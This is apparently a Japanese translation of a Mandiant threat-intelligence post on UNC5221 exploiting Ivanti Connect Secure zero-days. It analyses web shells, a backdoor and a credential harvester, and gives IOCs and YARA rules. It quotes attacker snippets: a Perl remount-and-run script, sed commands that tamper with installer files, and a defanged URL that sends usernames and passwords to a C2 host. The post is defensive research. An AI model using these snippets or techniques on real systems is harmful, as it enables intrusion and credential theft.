Blog

最先端の脅威: APTと疑われるグループ、 新たなゼロデイ攻撃でIvanti Connect Secure VPNを標的に

Tyler McLellan, John Wolfram, Gabby Roncone, Matt Lin, Robert Wallace, Dimiter Andonov
Jan 12, 2024
2 min read
|   Last update Jan 17, 2024
Malware
Incident Response
Threat Intelligence
espionage
Zero Day Threats

注:本件は、現在MandiantとIvantiが積極的に分析を行っている、進行中の脅威活動です。今後も必要に応じて、このブログ記事に指標、検出、情報を随時追加していきます。

2024年1月10日、 IvantiはIvanti Connect Secure VPN(旧Pulse Secure以下、「CS」)およびIvanti Policy Secure(以下、「PS」)アプライアンスに影響を与える2つのゼロデイ脆弱性に関する情報(CVE-2023-46805およびCVE-2024-21887)を公開しました。この脆弱性が悪用されると、認証の回避やコマンド インジェクションが可能になり、被害組織内ネットワークのダウンストリームでのさらなる侵害につながる可能性があります。Mandiantは、スパイ活動が疑われる脅威グループ(現在UNC5221として追跡中)が、早ければ2023年12月からこれら脆弱性を悪用したゼロデイ攻撃を行っていることを特定しています。

Ivantiは、Mandiantのほか、影響を受ける顧客、政府機関のパートナーや、Volexityと緊密に連携して、これらの問題に対処しています。調査の一環として、Ivantiはゼロデイ攻撃脆弱性に関するブログ記事と緩和策を公開しており、これはシステムが影響を受けているかどうかを判断するのに役立ちます。修正パッチは現在開発中であり、Ivantiのお客様は技術情報を記したKBの記事に基づき、パッチリリースが提供予定日や最新情報を入手することが推奨されています。

Mandiantは、CSおよびPSデバイスの悪用に関連する5つのマルウェアファミリの詳細を共有しています。これらのファミリは、攻撃者が認証を回避し、デバイスにバックドアアクセスを提供することを可能にします。調査で特定された、脆弱性悪用後の追加ツールについても、このブログでさらに詳しく説明しています。

脆弱性悪用後のアクティビティ

UNC5221は、CVE-2023-46805(認証バイパス)およびCVE-2024-21887(コマンド インジェクション)の悪用に成功した後、複数のカスタムマルウェアファミリを利用し、いくつかのケースでCS内の正規のファイルを悪意のあるコードでトロイの木馬化しました。 UNC5221はまた、PySoxy(ピソクシー)トンネラーとBusyBoxを利用して、悪用後のアクティビティを有効にすることも観察されました。

デバイスの特定のセクションが読み取り専用であるため、UNC5221はPerlスクリプト (sessionserver.pl) を利用してファイルシステムを 読み取り/書き込み として再マウントし、Webシェル LIGHTWIRE を正規のConnect Secureファイルに書き込むシェルスクリプトドロッパーであるTHINSPOOLや、その他の後続ツールを展開できるようにしました。セキュアファイルおよびその他の後続ツールを接続します。

use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl";

use DSSafe;

system("mount -o remount,rw /");

system("chmod a+x /home/etc/sql/dsserver/sessionserver.sh");

system("/home/etc/sql/dsserver/sessionserver.sh 1>/dev/null 2>/tmp/errlog");

system("mount -o remount,ro /");

THINSPOOLは、UNC5221が脆弱性悪用後の活動に使用する、LIGHTWIRE Web シェルの最初のドロッパーであることに加えて、永続性と検出回避の両方のための重要なツールとして機能するとMandiantは判断しました。 侵害後にUNC5221によって使用されたLIGHTWIREおよびWIREFIRE Webシェルは、CSアプライアンスへの継続的なアクセスを可能にする足がかりとなります。 このことから、これらが日和見的な攻撃ではなく、侵害した優先度の高いターゲットのサブセット上でパッチが必然的にリリースされた後もアクセスを維持することを意図していたことを示しています。 さらに、WARPWIRE JavaScript認証情報スティーラーは、平文の認証情報をキャプチャすることで、横展開やスパイ行為のためにアカウントへのさらなるアクセスを可能にする危険性もあります。 

カスタムマルウェアの識別 

ZIPLINE パッシブバックドア

ZIPLINEは、ファイルlibsecure.soからエクスポートされた関数accept()を乗っ取るパッシブバックドアです。ZIPLINEがハイジャックされたaccept()関数を呼び出すと、まずlibcから通常のaccept()を解決して、ネットワークトラフィックを傍受します。外部接続が登録されると、まず通常のlibc_acceptによって処理され、ZIPLINEはプロセス名が「web」であるかどうかを確認します。マルウェアは、接続されたホストから最大21バイトを取得し、受信したバッファが文字列「SSH-2.0-OpenSSH_0.3xx」に対応しているかどうかを確認します。 その場合、ZIPLINEの悪意のある機能がトリガーされます。ZIPLINEはその後、実行するコマンドを指定する暗号化されたヘッダーを受け取ります。accept() 関数のこの乗っ取り手法の詳細については、SecureIdeasの投稿をご確認ください。

ZIPLINEは、次のコマンドをサポートしています。

Command ID

Operation

Description

1

ファイルの
アップロード

このコマンドには、接続されたホストに送信するファイルのパスが含まれます。

2

ファイルの
ダウンロード

このコマンドには、侵害されたシステムに保存されるファイルパスとその内容が含まれています。

3

シェルの反転/bin/sh を使用してリバースシェルが作成され、指定されたコマンドが実行されます。

4

プロキシサーバー

コマンドの一部として指定された IP アドレスを持つプロキシ サーバーを作成します。

5

トンネリング
サーバー
トンネリング サーバーを実装し、複数のエンドポイント間でトラフィックを同時にディスパッチできます。

初期化時に、ZIPLINEは /etc/ld.so.preload/tmp/data/root/etc/ld.so.preloadにコピーします。これは、プロセス名が "dspkginstall" の場合に実行されます。その後、ZIPLINEは自身を /tmp/data/root/home/libにコピーします。

ZIPLINEは終了時に、まずプロセス名が tar であるかどうかを確認します。プロセス名がtarの場合、マルウェアは指定されたパラメータ(-xzf--exclude、または./installer.)に基づいてさまざまな機能を実行します。

パラメータ --exclude  を使用すると、ZIPLINE は自身を CS exclusion_list.に追加します。このexclusion_listはIvanti Integrity Checker Toolの一部であり、Mandiantはこれが検出を回避するために実装した手段であると評価しています。

パラメータ -xzf が使用されている場合、ZIPLINE は独自の SHA256 ハッシュを計算し、行 <sha256>  ./root<self_fpath> をフォーマットしてから、この文字列を ./installer/bom_filesディレクトリ内の各ファイルに追加します。これは、コマンドecho <formatted_sha256_string> >> ./installer/bom_files/<file_name>を使用して実現されます。

パラメータ ./installeが使用されている場合、ZIPLINE は /pkg/do-install./installer/do-installから特定の行を削除します。これを行うには、次の sed コマンドを実行します。

sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install

 

sed -i '/exit $?/d' /pkg/do-install

 

sed -i '/retval=$(exec $installer $@)/d' ./installer/do-install

 

sed -i '/exit $?/d' ./installer/do-install 

THINSPOOL ドロッパー

THINSPOOLは、WebシェルLIGHTWIREを正規のCSファイルに書き込むシェルスクリプトで記述されたドロッパーです。THINSPOOLは、アップデート後に悪意のあるWebシェルコードを正規のファイルに再度追加し、侵害されたデバイス上でUNC5221を存続させます。THINSPOOLはIvantiのインテグリティチェッカーを回避しようとしましたが、Mandiantはこの試みが失敗したことを確認しました。

LIGHTWIRE および WIREFIRE Web シェル

LIGHTWIREはPerl CGIで記述されたWebシェルで、正規のSecure Connectファイルに埋め込まれ、任意のコマンドの実行を可能にします。LIGHTWIRE は、パラメータ "comp=comp" と "compid" を含む compcheckresult.cgi へのリクエストを妨害します。"compid" にはBase64でエンコードされ、RC4 で暗号化された暗号文が含まれます。デコードされた平文は、Perl コードとして解釈され、実行されます。

WIREFIREは、Pythonで記述されたWebシェルで、Connect Secureアプライアンスのコンポーネントに対するトロイの木馬化されたロジックとして存在します。WIREFIREは、侵害されたデバイスへのファイルのダウンロードと任意のコマンドの実行をサポートします。これには、/api/v1/cav/client/visits.への特定の HTTP POST 要求に応答する認証前に挿入されるロジックが含まれています。フォームデータエントリ「file」が存在する場合、Webシェルは指定されたファイル名でコンテンツをデバイスに保存します。そうでない場合、Webシェルはサブプロセスとして実行するために、GIFヘッダーの後に存在する生データのデコード、復号化、zlib解凍を試みようとします。実行されたプロセスの出力は、zlib 圧縮され、同じキーで AES 暗号化され、Base64でエンコードされた後、HTTP 200 OKを介して"message"フィールドを含むJSONとして返送されます。

WARPWIRE クレデンシャルハーベスター

WARPWIREは、Javascriptで記述されたクレデンシャルハーベスタで、正規のConnect Secureファイルに埋め込まれています。WARPWIREは、HTTP GETリクエストを介してコマンド&コントロール(C2)サーバーに送信される平文のパスワードとユーザー名を標的としています。

WARPWIRE は、RDP などのレイヤー7アプリケーションにアクセスするため、Webログオン中に送信された認証情報をキャプチャします。キャプチャされた認証情報は、HTTP GETリクエスト経由でC2に送信される前に、btoa()でBase64エンコードされます。

hxxps://symantke[.]com/?<username>&<password>

アトリビューション

本稿執筆時点では、Mandiantはこの活動を既知のグループと関連付けておらず、この攻撃者の起源を評価するのに十分なデータがありません。UNC5221は、このスパイ活動を行う攻撃者を追跡するために作成されました。ゼロデイ脆弱性を持つエッジインフラを標的にすることは、スパイ活動を行う攻撃者が利用する一貫した戦術です。さらに、Mandiantは以前にも複数のAPTと疑われる攻撃者が、アプライアンス固有のマルウェアを利用して脆弱性悪用後の攻撃を可能にし、検出を回避していることを観測しています。これらの事例と、ターゲティングに関するVolexityの調査結果を組み合わせると、Mandiantはこれがスパイ行為に動機づけられたAPTキャンペーンである可能性があると考えています。

UNC5221は主に侵害されたサポート切れのCyberoam VPNアプライアンスをC2に使用していました。これらの侵害されたデバイスは被害者のものであったため、攻撃者は検出をより適切に回避するのに役立った可能性があります。

結論と推奨事項

UNC5221の活動は、ネットワークエッジを標的にすることが、依然としてスパイ活動者にとって実行可能かつ魅力的な目標であることを示しています。以前報告したように、ゼロデイ悪用、エッジデバイスの侵害、侵害されたC2インフラストラクチャの使用、正規ファイルにコードを書き込むなどの検出回避方法の組み合わせは、スパイ活動で頻繁に用いられるツールボックスの特徴となっています。

このアクティビティに関するIvantiブログ記事に記載されているガイダンスに従うことをお勧めします。Ivantiを使用している組織は、できるだけ早く緩和策を実装し、今後のパッチリリーススケジュールについての投稿に従うことが推奨されます。Ivantiの整合性チェッカーツール(ICT)の詳細もご覧ください。

謝 辞

本調査におけるIvantiのチームのパートナーシップとサポートに深く感謝します。また本分析は、Mandiant Intelligence、Consulting、FLAREチーム、そしてGoogle TAGの同僚のサポートなしには不可能でした。特に本調査に協力いただいたMandiantのAdversary Methods Research and Discovery(RAD)チームのAseel Kayal氏とNick Simonian氏に感謝の意をここに表します。

※2024年1月12日に公開されたブログ「Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation」の日本語抄訳版です。

Indicators of Compromise (IOCs)

Code Family

Filename

Description

LIGHTWIRE

compcheckresult.cgi

Web shell

THINSPOOL

sessionserver.sh

Web shell dropper

WARPWIRE

lastauthserverused.js

Credential harvester

WIREFIRE

visits.py

Web shell

THINSPOOL Utility

sessionserver.pl

Script

ZIPLINE

libsecure.so.1

Passive backdoor

Network-Based Indicators (NBIs)

symantke[.]com

WARPWIRE C2

YARA Rules

rule M_Hunting_Backdoor_ZIPLINE_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits for incoming TCP connections to receive commands from the threat actor."

  strings:

    $s1 = "SSH-2.0-OpenSSH_0.3xx" ascii

    $s2 = "$(exec $installer $@)" ascii

    $t1 = "./installer/do-install" ascii

    $t2 = "./installer/bom_files/" ascii

    $t3 = "/tmp/data/root/etc/ld.so.preload" ascii

    $t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii

  condition:

    uint32(0) == 0x464c457f and

    filesize < 5MB and

    ((1 of ($s*)) or

    (3 of ($t*)))

}

rule M_Hunting_Dropper_WIREFIRE_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects WIREFIRE, a web shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."

    md5 = "6de651357a15efd01db4e658249d4981"

  strings:

    $s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii

    $s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii

    $s3 = "Handles DELETE request to delete an existing visits data." ascii

    $s4 = "request.data.decode().startswith('GIF'):" ascii

    $s5 = "Utils.api_log_admin" ascii

  condition:

    filesize < 10KB

    and all of them

}

rule M_Hunting_Webshell_LIGHTWIRE_2 {

  meta:

    author = "Mandiant"

    description = "Detects LIGHTWIRE based on the RC4 
decoding and execution 1-liner."

    md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"

  strings:

    $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\
(decode_base64\(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility
\scheck:\s\$@\";\}/

  condition:

    filesize < 10KB

    and all of them

}

rule M_Hunting_Dropper_THINSPOOL_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects THINSPOOL, a dropper that 
installs the LIGHTWIRE web shell onto a Pulse Secure system."

    md5 = "677c1aa6e2503b56fe13e1568a814754"

  strings:

    $s1 = "/tmp/qactg/" ascii

    $s2 = "echo '/home/config/dscommands'" ascii

    $s3 = "echo '/home/perl/DSLogConfig.pm'" ascii

    $s4 = "ADM20447" ascii

  condition:

    filesize < 10KB

    and all of them

}

rule M_Hunting_CredTheft_WARPWIRE_1

{

  meta:

    author = "Mandiant"

    description = "This rule detects WARPWIRE, a credential stealer 
written in Javascript that is embedded into a legitimate Pulse Secure file."

    md5 = "d0c7a334a4d9dcd3c6335ae13bee59ea"

  strings:

    $s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 
74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}

    $s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 
74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}

    $s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}

    $s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 
74 74 70 52 65 71 75 65 73 74}

    $s5 = "Remember the last selected auth realm for 30 days" ascii

  condition:

   filesize < 8KB and 

all of them

}